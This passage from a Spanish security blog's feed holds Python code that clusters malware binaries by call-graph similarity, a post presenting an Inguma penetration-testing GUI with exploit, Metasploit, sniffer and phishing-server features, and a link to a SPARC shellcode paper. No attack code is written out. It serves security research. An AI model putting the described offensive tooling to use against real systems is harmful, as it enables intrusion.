&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; val, prime = <span class="kw2">self</span>.<span class="me1">generateHash</span><span class="br0">&#40;</span>pyew<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">hash</span> = sha256<span class="br0">&#40;</span>pyew.<span class="me1">getBuffer</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span>.<span class="me1">hexdigest</span><span class="br0">&#40;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; primes<span class="br0">&#91;</span><span class="kw2">hash</span><span class="br0">&#93;</span> = prime<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; values<span class="br0">&#91;</span><span class="kw2">hash</span><span class="br0">&#93;</span> = val<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; files<span class="br0">&#91;</span><span class="kw2">hash</span><span class="br0">&#93;</span> = pyew.<span class="me1">filename</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">del</span> pyew</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; dones = <span class="br0">&#91;</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; size = <span class="kw2">len</span><span class="br0">&#40;</span>primes<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> h1 <span class="kw1">in</span> values:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">for</span> h2 <span class="kw1">in</span> values:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> h1 == h2 <span class="kw1">or</span> <span class="br0">&#40;</span>h1, h2<span class="br0">&#41;</span> <span class="kw1">in</span> dones <span class="kw1">or</span> <span class="br0">&#40;</span>h2, h1<span class="br0">&#41;</span> <span class="kw1">in</span> dones:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">continue</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> values<span class="br0">&#91;</span>h1<span class="br0">&#93;</span> == values<span class="br0">&#91;</span>h2<span class="br0">&#93;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;%s;%s;0&quot;</span> % <span class="br0">&#40;</span>files<span class="br0">&#91;</span>h1<span class="br0">&#93;</span>, files<span class="br0">&#91;</span>h2<span class="br0">&#93;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dones.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#40;</span>h1, h2<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dones.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#40;</span>h2, h1<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dones.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#40;</span>h1, h2<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dones.<span class="me1">append</span><span class="br0">&#40;</span><span class="br0">&#40;</span>h2, h1<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s1 = <span class="kw2">set</span><span class="br0">&#40;</span>primes<span class="br0">&#91;</span>h1<span class="br0">&#93;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s2 = <span class="kw2">set</span><span class="br0">&#40;</span>primes<span class="br0">&#91;</span>h2<span class="br0">&#93;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; diff = <span class="kw2">self</span>.<span class="me1">getSimilarity</span><span class="br0">&#40;</span>s1, s2<span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;%s;%s;%f&quot;</span> % <span class="br0">&#40;</span>files<span class="br0">&#91;</span>h1<span class="br0">&#93;</span>, files<span class="br0">&#91;</span>h2<span class="br0">&#93;</span>, diff<span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> getSimilarity<span class="br0">&#40;</span><span class="kw2">self</span>, s1, s2<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; m = <span class="kw2">max</span><span class="br0">&#40;</span><span class="kw2">len</span><span class="br0">&#40;</span>s1<span class="br0">&#41;</span>, <span class="kw2">len</span><span class="br0">&#40;</span>s2<span class="br0">&#41;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; diff1 = <span class="kw2">len</span><span class="br0">&#40;</span>s1.<span class="me1">difference</span><span class="br0">&#40;</span>s2<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; diff2 = <span class="kw2">len</span><span class="br0">&#40;</span>s2.<span class="me1">difference</span><span class="br0">&#40;</span>s1<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; diff = <span class="br0">&#40;</span>diff1 + diff2<span class="br0">&#41;</span>*<span class="nu0">100</span>./m</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; simil1 = <span class="kw2">len</span><span class="br0">&#40;</span>s1.<span class="me1">intersection</span><span class="br0">&#40;</span>s2<span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; simil = simil1*<span class="nu0">100</span>. / m</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; metric = simil + diff<br />
&nbsp; &nbsp; &nbsp; &nbsp; diff = diff * <span class="nu0">100</span>. / metric</p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> diff</p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> compareTwoSets<span class="br0">&#40;</span><span class="kw2">self</span>, set1, set2<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; pyew1 = set1.<span class="me1">values</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; val1, primes1 = <span class="kw2">self</span>.<span class="me1">generateHash</span><span class="br0">&#40;</span>pyew1<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; pyew2 = set2.<span class="me1">values</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; val2, primes2 = <span class="kw2">self</span>.<span class="me1">generateHash</span><span class="br0">&#40;</span>pyew2<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; s1 = <span class="kw2">set</span><span class="br0">&#40;</span>primes1<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; s2 = <span class="kw2">set</span><span class="br0">&#40;</span>primes2<span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> val1 == val2:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; diff = <span class="kw2">self</span>.<span class="me1">getSimilarity</span><span class="br0">&#40;</span>s1, s2<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> diff</p>
<p>&nbsp; &nbsp; <span class="kw1">def</span> cluster<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">data</span><span class="br0">&#41;</span> == <span class="nu0">2</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set1 = <span class="kw2">self</span>.<span class="me1">data</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; set2 = <span class="kw2">self</span>.<span class="me1">data</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">self</span>.<span class="me1">compareTwoSets</span><span class="br0">&#40;</span>set1, set2<span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw2">self</span>.<span class="me1">compareManySets</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">data</span><span class="br0">&#41;</span><br />
&nbsp;</div>
<p>Luego en la clase CGraphCluster agregamos el siguiente método:</p>
<div class="dean_ch" style="white-space: wrap;"> &nbsp; &nbsp;<span class="kw1">def</span> comparePrimes<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; cluster = CPrimesCluster<span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">data</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; val = cluster.<span class="me1">cluster</span><span class="br0">&#40;</span><span class="br0">&#41;</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> val == <span class="nu0">0</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Primes system: Programs are 100% equals&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">else</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Primes system: Programs differs in&quot;</span>, val, <span class="st0">&quot;% percent&quot;</span><br />
&nbsp;</div>
<p>Y, finalmente, cambiamos la función main para que quede como sigue:</p>
<div class="dean_ch" style="white-space: wrap;"><span class="kw1">def</span> main<span class="br0">&#40;</span>prog1, prog2<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; cluster = CGraphCluster<span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; cluster.<span class="me1">addFile</span><span class="br0">&#40;</span>prog1<span class="br0">&#41;</span><br />
&nbsp; &nbsp; cluster.<span class="me1">addFile</span><span class="br0">&#40;</span>prog2<span class="br0">&#41;</span><br />
&nbsp; &nbsp; cluster.<span class="me1">processFiles</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; cluster.<span class="me1">compareExpert</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; cluster.<span class="me1">comparePrimes</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
&nbsp;</div>
<p>Una vez hechos los cambios empezamos a probar el algoritmo con los mismos ejemplos anteriores (los programitas tontos de antes y los 2 ejemplos de malware). Los resultados son los siguientes:</p>
<pre>$ graph_test1.py clean.exe test.exe
[+] Analyzing file clean.exe
[+] Analyzing file test.exe
Expert system: Programs differs in 0.100000%
Primes system: Programs differs in 14.2857142857 % percent
$ graph_test1.py clean.exe test2.exe
[+] Analyzing file clean.exe
[+] Analyzing file test2.exe
Expert system: Programs differs in 0.900000%
Primes system: Programs differs in 25.0 % percent
$ graph_test1.py clean.exe test3.exe
[+] Analyzing file clean.exe
[+] Analyzing file test3.exe
Expert system: Programs differs in 0.900000%
Primes system: Programs differs in 25.0 % percent
$ graph_test1.py clean.exe test4.exe
[+] Analyzing file clean.exe
[+] Analyzing file test4.exe
Expert system: Programs differs in 1.000000%
Primes system: Programs differs in 37.5 % percent
$ graph_test1.py clean.exe test5.exe
[+] Analyzing file clean.exe
[+] Analyzing file test5.exe
Expert system: Programs differs in 1.000000%
Primes system: Programs differs in 25.0 % percent
$ graph_test1.py HGWC.ex_ BypassXtrap.ex_
[+] Analyzing file HGWC.ex_
[+] Analyzing file BypassXtrap.ex_
Expert system: Programs are 100% equals
Prime: Programs are 100% equals
</pre>
<p>Como se puede ver este sistema &#8216;funciona&#8217;, aunque da porcentajes muy diferentes con los ejemplos de prueba anteriores. Con los 2 bitxos empacados con AutoIt, sin embargo, nos sigue diciendo que son exactamente iguales.</p>
<p><strong>Problemas</strong></p>
<p>Los problemas de este algoritmo son exactamente los mismos que en el caso anterior: Agrupa por packer y se podría (aunque con este algoritmo se hace más complicado) hacer un programa que tuviera la misma firma que un notepad y diferente comportamiento (un malware, por ejemplo).</p>
<p><strong>Herramienta final<br />
</strong></p>
<p>El script ya finalizado con algunas cositas más lo podéis descargar <a href="http://code.google.com/p/pyew/source/browse/gcluster.py" target="_blank">aquí</a> (requiere Pyew, acordaros). Las modificaciones que tiene este script son para utilizarlo con baterías de archivos. Puede recibir 2 parámetros, siendo 2 programas (ELF o PE) a comparar o un directorio. En caso de ser un directorio, se analizan todos los archivos de ese directorio y sus subdirectorios y se imprime, con formato CSV, la lista de archivos, hashes y todos los datos obtenidos de las funciones.</p>
<p><strong>Uso de la herramienta con baterías</strong></p>
<p>El archivo CSV generado se puede utilizar con GNumeric, LibreOffice/OpenOffice o MS Office para ver que grupos existen (o importarlo a una base de datos). Voy a mostrar una prueba con una batería de 28 malwares (detectados por varios AVs como TDSS.Z, aunque realmente hay un poco de todo). Los siguientes son los resultados con la herramienta ssdeep:</p>
<p><a href="http://blog.48bits.com/wp-content/uploads/2011/01/ssdeep.png"><img class="aligncenter size-medium wp-image-1727" title="ssdeep" src="http://blog.48bits.com/wp-content/uploads/2011/01/ssdeep-300x121.png" alt="" width="300" height="121" /></a></p>
<p>En esta imagen se puede ver que la herramienta, por fuzzy hashing, solo encuentra 2 archivos similares. En la siguiente imagen se muestran los resultados con <a href="http://deeptoad.googlecode.com" target="_blank">deeptoad</a>:</p>
<p><a href="http://blog.48bits.com/wp-content/uploads/2011/01/deeptoad.png"><img class="aligncenter size-medium wp-image-1730" title="deeptoad" src="http://blog.48bits.com/wp-content/uploads/2011/01/deeptoad-300x109.png" alt="" width="300" height="109" /></a></p>
<p>Vemos que esta herramienta consigue encontrar alguna similitud más agrupando 4 archivos. Ahora hagamos la prueba con los datos que genera la herramienta de comparación por grafos:</p>
<p><a href="http://blog.48bits.com/wp-content/uploads/2011/01/gcluster.png"><img class="aligncenter size-medium wp-image-1731" title="gcluster" src="http://blog.48bits.com/wp-content/uploads/2011/01/gcluster-300x118.png" alt="" width="300" height="118" /></a></p>
<p>Y en este caso vemos que se crea un grupo más grande. Si comparamos los 10 archivos que ha agrupado veremos que en la mayoría de casos nos dirá que son 100% similares y, en otros, que las diferencias entre ellos son mínimas, como por ejemplo con los 2 primeros archivos que se ven en la imagen:</p>
<pre>$ gcluster.py d8e8001a175e777ff4d56a6a7b9d32f37178cc24010d4e4d0e8e4027ac69c54d 28a847f4010f95fd3302816559b8cc4be433445aad26b04ff3d688e42ae5b0a1
Expert system: Programs differs in 0.100000%
Primes system: Programs differs in 16.8421052632 % percent
</pre>
<p><strong>Notas finales</strong></p>
<p>De momento lo dejo aquí porque el post ya es bastante grande. Seguramente vuelva a postear algo más acerca de grafos en el futuro pero, de momento, aquí se acaba. Espero que os haya gustado este totxazo de post y que os pueda valer para algo.</p>
<p>Muchas gracias a toda la peña de 48bits por su ayuda y especialmente a Marconi por haberme ayudado con correcciones a los algoritmos y con el post.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2011/01/23/comparacion-de-binarios-por-grafo/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Inguma is dead, long live Inguma</title>
		<link>http://blog.48bits.com/2010/03/22/inguma-is-dead-long-live-inguma/</link>
		<comments>http://blog.48bits.com/2010/03/22/inguma-is-dead-long-live-inguma/#comments</comments>
		<pubDate>Mon, 22 Mar 2010 08:55:55 +0000</pubDate>
		<dc:creator>Hugo Teso</dc:creator>
				<category><![CDATA[48Bits Projects]]></category>
		<category><![CDATA[Noticias]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1269</guid>
		<description><![CDATA[Nota: En un principio este artículo estaba escrito pensando en publicarlo un par de días antes de la RootedCon, pero un accidente inesperado me dejó sin poder asistir y me ha obligado a retrasar su publicación. Tenedlo en cuenta mientras lo leáis. Aprovechando la reciente creación de nuestra página de herramientas, la próxima celebración de [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Nota: En un principio este artículo estaba escrito pensando en publicarlo un par de días antes de la RootedCon, pero un accidente inesperado me dejó sin poder asistir y me ha obligado a retrasar su publicación. Tenedlo en cuenta mientras lo leáis.</p></blockquote>
<p><a href="http://blog.48bits.com/wp-content/uploads/2010/03/Bart.png"><img class="alignleft size-full wp-image-1297" title="Bart" src="http://blog.48bits.com/wp-content/uploads/2010/03/Bart.png" alt="" width="200" height="160" align="left" /></a>Aprovechando la reciente creación de nuestra página de <a href="http://blog.48bits.com/tools" target="_self">herramientas</a>, <span style="text-decoration: line-through;">la próxima celebración de la primera edición de la <a href="http://www.rootedcon.es" target="_blank">RootedCon</a></span> y que el Daman Ganga pasa por Silvassa voy a presentar un pequeño proyecto en el que he estado trabajando. El objetivo es que, bien por el blog, correo o twitter <span style="text-decoration: line-through;">o en persona en la rooted</span>, me deis vuestras opiniones, consejos, etc.</p>
<p>El proyecto en sí no es nuevo, fue creado por nuestro hamijo Joxean a principios del 2007, se llama Inguma y consiste en un framework escrito en Python para hacer tests de intrusión y buscar vulnerabilidades. Si alguno de vosotros visita la <a href="http://inguma.sf.net" target="_blank">página</a> le parecerá que el proyecto está muerto, pero sólo estaba dormido. Aparte de la propia web del proyecto, os dejo unos enlaces que hablan de Inguma para que os hagáis una idea de que va:</p>
<ul>
<li><a href="http://www.darknet.org.uk/2007/08/inguma-penetration-testing-toolkit/" target="_blank">Inguma &#8211; Penetration testing toolkit</a></li>
<li><a href="http://blog.red-database-security.com/2007/10/20/inguma-free-oracle-penetration-toolkit-from-joxean-koret/" target="_blank">Inguma. Free Oracle Penetration Toolkit from Joxean Koret</a></li>
<li><a href="http://blog.red-database-security.com/2007/10/22/running-inguma-plsql-fuzzer-against-10203-with-october-2007-cpu/" target="_blank">Running Inguma PL/SQL Fuzzer against 10.2.0.3 with October 2007 CPU</a></li>
</ul>
<p><span id="more-1269"></span>Durante mi último período de &#8220;vacaciones forzadas&#8221; aproveché para poner a prueba una idea que me rondaba la cabeza desde hacía tiempo, así que intenté crear una interfaz gráfica para Inguma (también programada en <span style="text-decoration: line-through;">Gimp</span> Python) que diese forma a esa idea: &#8220;todo en dicha interfaz ha de girar alrededor de los datos, no de las herramientas o los módulos&#8221;. Se supone que de esta forma el usuario puede centrarse en los resultados, los objetivos, los datos, etc&#8230; en resumen, en el &#8220;Qué&#8221; en vez del &#8220;Cómo&#8221;. Bonito eh?</p>
<p>Desde entonces ese pequeño proyecto privado ha ido creciendo poco a poco y hoy quiero mostraros por encima como está para que me deis vuestras opiniones. Así pues, vamos a lo que nos atañe; señoras y señores, les presento la nueva pantalla principal de Inguma:</p>
<p style="text-align: center;"><a href="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-1.png"><img class="size-medium wp-image-1281 aligncenter" title="Inguma-1" src="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-1-300x175.png" alt="" width="300" height="175" /></a></p>
<p>En esta primera captura podemos ver una de las pantallas principales de Inguma, la que nos permite llevar a cabo la mayor parte del trabajo de red. Fijaos que prácticamente no hay señal de los módulos de Inguma. La barra superior nos permite Abrir, Guardar, Editar, mostrar/ocultar datos o modificar las preferencias; salvo esto tan sólo un par de botones dedicados a funcionalidades más &#8220;independientes&#8221; como el sniffer, el servidor web para &#8220;phishing&#8221; (o lo que surja) o el proxy TCP.</p>
<p>Por otro lado tenemos las dos vistas de los datos recopilados: la visual y la textual. La vista con el gráfico es la que centra la mayor parte del trabajo mediante el uso de menús contextuales que varían en función del nodo o el vértice seleccionado. El contenido de esta vista varía en función del tipo de datos y el nivel de detalle pero siempre bajo la misma premisa: representación visual y menús contextuales.</p>
<p style="text-align: center;"><a href="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-menu.png"><img class="aligncenter size-medium wp-image-1283" title="Inguma-menu" src="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-menu-300x177.png" alt="" width="300" height="177" /></a></p>
<p>La vista con los datos en modo texto nos permite estudiar los datos de una forma más normal; que no es tan fácil visualizar todo tipos de datos y relaciones así como así! Por último tenemos una zona donde aparecen los diferentes mensajes de salida de la herramienta. Esta zona y la de datos en texto se pueden ocultar o redimensionar al gusto de sus señorías.</p>
<p>Si seguimos las pestañas de la parte izquierda nos encontramos con la siguiente pantalla, la de terminales.</p>
<p style="text-align: center;"><a href="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-scapy.png"><img class="aligncenter size-medium wp-image-1284" title="Inguma-scapy" src="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-scapy-300x175.png" alt="" width="300" height="175" /></a></p>
<p>Como Inguma no pretende ser capaz de hacer de todo y no todos los módulos tienen un equivalente en la interfaz gráfica (todavía), en esta página se agrupan todos los terminales que se van abriendo durante el trabajo; tanto los que abrimos nosotros como los que abren algunas herramientas de Inguma como el sniffer o scapy.</p>
<p style="text-align: center;"><a href="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-sniffer.png"><img class="aligncenter size-medium wp-image-1285" title="Inguma-sniffer" src="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-sniffer-300x175.png" alt="" width="300" height="175" /></a></p>
<p>Una de las premisas que me marqué al crear esta interfaz fue que no quería perder toda la potencia de herramientas como scapy (y la linea de comandos en general) debajo de capas y capas de abstracción, así que me las he apañado para que los paquetes enviados/recibidos por todos los módulos de Inguma que usen scapy se queden guardados para que luego se puedan examinar en un terminal usando scapy.</p>
<p>La siguiente pestaña (es posible que cambie el orden) es la pestaña que agrupa las herramientas de ingeniería inversa de Inguma; a saber: un desensamblador (<a href="http://inguma.sourceforge.net/opendis.php" target="_blank">OpenDis</a>, aunque seguramente acabe siendo <a href="http://code.google.com/p/pyew/" target="_blank">Pyew</a> o <a href="http://radare.org/new/" target="_blank">Radare</a>), un depurador (sin pasarme de listo, que es el <a href="http://www.kenshoto.com/vtrace/" target="_blank">vtrace</a> de <a href="http://www.kenshoto.com" target="_blank">kenshoto</a>) y en un futuro el fuzzer <a href="http://inguma.sourceforge.net/docs/krashinfo.pdf" target="_blank">Krash</a>). Me temo que esta es la parte que más verde está de la interfaz.</p>
<p style="text-align: center;"><a href="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-rce.png"><img class="aligncenter size-medium wp-image-1287" title="Inguma-rce" src="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-rce-300x175.png" alt="" width="300" height="175" /></a></p>
<p>Por último la pestaña de Exploits es la que nos permite gestionar (que no usar) los diferentes exploits de los que dispone Inguma: los propios, los de <a href="http://www.exploit-db.com" target="_blank">exploit-db</a> y, en breve, los de <a href="http://www.metasploit.com" target="_blank">metasploit</a>.</p>
<p style="text-align: center;"><a href="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-exploits.png"><img class="aligncenter size-medium wp-image-1288" title="Inguma-exploits" src="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-exploits-300x175.png" alt="" width="300" height="175" /></a></p>
<p>Inguma incluye un simple editor que permite crear/modificar módulos para la propia herramienta o estudiar/modificar los exploits disponibles, pero el lanzamiento de exploits, como todo en esta herramienta, se hace desde los menús contextuales de la vista gráfica:</p>
<p style="text-align: center;"><a href="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-host-detail.png"><img class="aligncenter size-medium wp-image-1290" title="Inguma-host-detail" src="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-host-detail-300x94.png" alt="" width="300" height="94" /></a></p>
<p>La parte de Metasploit me temo que está por llegar así que no hay capturas; aún así visto por el lado bueno, tenéis más margen para imaginar como os gustaría que fuese <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  Por ahora me limito a lanzar un terminal con Metasploit y con los datos ya especificados cada vez que se selecciona la opción en un nodo:</p>
<p>Una de las bases de Inguma es que por defecto tiene que ser auto-suficiente en lo que sea capaz de hacer pero también dar la opción de usar herramientas más especializadas y, no nos engañemos, mejores en otras tareas. Ejemplos de esto son el mismo Metasploit, Nmap o el Nessus.</p>
<p style="text-align: center;"><a href="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-nmap.png"><img class="aligncenter size-medium wp-image-1291" title="Inguma-nmap" src="http://blog.48bits.com/wp-content/uploads/2010/03/Inguma-nmap-300x136.png" alt="" width="300" height="136" /></a></p>
<p>A parte de lo visto también tengo otras pruebas de concepto en diferentes estados de desarrollo, por ejemplo:</p>
<ul>
<li>Una nueva categoría de módulos centrada en Explotación Táctica.</li>
<li>Geolocalización.</li>
<li>Interfaz tipo VisualSploit para <a href="http://barrapunto.com/~joxeanpiti/journal/29473" target="_blank">pyshellcodelib</a>.</li>
<li>Desde que comencé con esto me ha encantado la idea de poder hacer un MitM arrastrando un vértice hacia el nodo de localhost. Alguna idea más de este tipo?</li>
<li>Informes, esta parte la tengo muy, muy verde; se agradecerían consejos para ver como transformar toda esa información en bonitos informes.</li>
<li>Nuevos gráficos para otros tipos de datos/relaciones. También estoy buscando un diseño para los grafos más&#8230; bonito.</li>
</ul>
<p>Pues me parece que como presentación del proyecto con esto ya tenemos bastante, no? Ahora ya todo es esperar vuestras opiniones y consejos.﻿ A parte de los comentarios, también podéis usar el correo  o mi <a href="http://twitter.com/hteso" target="_blank">twitter</a> donde iré poniendo las novedades del proyecto.</p>
<p>!!GRASIAS DE HANTEBRASO HAMIJOS!!</p>
<p>Correo: <a href="http://blog.48bits.com/wp-content/uploads/2010/03/mail-address.png"><img class="alignnone size-full wp-image-1302" title="mail-address" src="http://blog.48bits.com/wp-content/uploads/2010/03/mail-address.png" alt="" width="160" height="21" /></a></p>
<blockquote><p>Una mala noticia: la descarga. Me temo que hasta que no me recupere del accidente no creo que pueda subir el código. En cuanto lo haga avisaré pero por el momento sólo podremos verlo en capturas; sí, yo incluido <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2010/03/22/inguma-is-dead-long-live-inguma/feed/</wfw:commentRss>
		<slash:comments>15</slash:comments>
		</item>
		<item>
		<title>Linux SPARC Shellcodes</title>
		<link>http://blog.48bits.com/2009/02/19/linux-sparc-shellcodes/</link>
		<comments>http://blog.48bits.com/2009/02/19/linux-sparc-shellcodes/#comments</comments>
		<pubDate>Thu, 19 Feb 2009 06:58:16 +0000</pubDate>
		<dc:creator>coder</dc:creator>
				<category><![CDATA[48Bits Projects]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[shellcodes]]></category>
		<category><![CDATA[sparc]]></category>
		<category><![CDATA[sun]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=322</guid>
		<description><![CDATA[Con el paso de los años, muchas máquinas SUN se han quedado sin el paquete de servicio -es decir, sin garantía hardware- y muchos administradores han acabado instalando Linux en ellas, por aquello de que &#8220;es gratis&#8221; y &#8220;funciona igual&#8221;. Este documento [1] describe la programación de shellcodes de varios tipos bajo arquitectura SPARCv9 con [...]]]></description>
			<content:encoded><![CDATA[<p>Con el paso de los años, muchas máquinas SUN se han quedado sin el paquete de servicio -es decir, sin garantía hardware- y muchos administradores han acabado instalando Linux en ellas, por aquello de que &#8220;es gratis&#8221; y &#8220;funciona igual&#8221;. Este documento [1] describe la programación de shellcodes de varios tipos bajo arquitectura SPARCv9 con Linux como SO, y deja la puerta abierta para continuar investigando las shellcodes polimórficas en este entorno. Seguramente contendrá errores, por lo que todas las correcciones serán bienvenidas.</p>
<p>[1] <a href="http://www.48bits.com/papers/sparc_shellcodes.txt" title="Linux SPARC Shellcodes">Linux SPARC Shellcodes</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2009/02/19/linux-sparc-shellcodes/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Fscan 1.0: Programando con la API de HTTP de FSCAN</title>
